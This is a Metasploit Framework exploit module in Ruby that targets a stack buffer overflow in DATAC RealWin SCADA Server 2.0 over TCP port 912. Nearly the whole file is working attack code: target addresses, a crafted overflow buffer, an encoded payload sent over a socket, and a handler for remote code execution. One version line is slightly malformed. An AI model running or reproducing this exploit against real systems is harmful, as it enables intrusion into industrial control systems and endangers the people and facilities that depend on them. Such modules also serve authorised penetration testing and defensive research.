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##
# $Id: realwin_10.rb 11067 2010-11-18 23:45:40Z mc $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'DATAC RealWin SCADA Server Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in DATAC Control
International RealWin SCADA Server 2.0 (Build 6.1.8.10).
By sending a specially crafted packet,
an attacker may be able to execute arbitrary code.
},
'Author' => [ 'MC' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 11067
,
'References' =>
[
[ 'URL', 'http://www.metasploit.com/users/mc' ],
],
'Privileged' => true,
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'Space' => 550,
'BadChars' => "\x00\x20\x0a\x0d",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Universal', { 'Pivot' => 0x40017fc2, 'Ret' => 0x4001f6d0 } ],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Nov 18 2010'))
register_options([Opt::RPORT(912)], self.class)
end
def exploit
connect
data = [0x6a541264].pack('V')
data << [0x00000010].pack('V')
data << [0x00001ff4].pack('V')
data << rand_text_alpha_upper(164)
data << [target['Pivot']].pack('V')
data << rand_text_alpha_upper(16)
data << [target.ret].pack('V')
data << payload.encoded
data << rand_text_alpha_upper(10024 - payload.encoded.length)
print_status("Trying target #{target.name}...")
sock.put(data)
handler
disconnect
end
end
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